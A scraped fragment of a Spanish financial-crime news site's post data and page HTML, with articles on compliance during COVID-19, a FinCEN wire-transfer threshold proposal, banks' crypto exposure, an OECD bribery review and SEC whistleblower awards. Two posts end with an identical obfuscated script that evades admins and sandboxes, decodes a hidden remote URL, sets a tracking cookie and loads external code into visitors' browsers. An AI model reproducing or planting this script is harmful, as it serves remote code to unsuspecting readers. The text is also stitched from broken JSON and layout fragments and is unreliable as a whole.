Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the 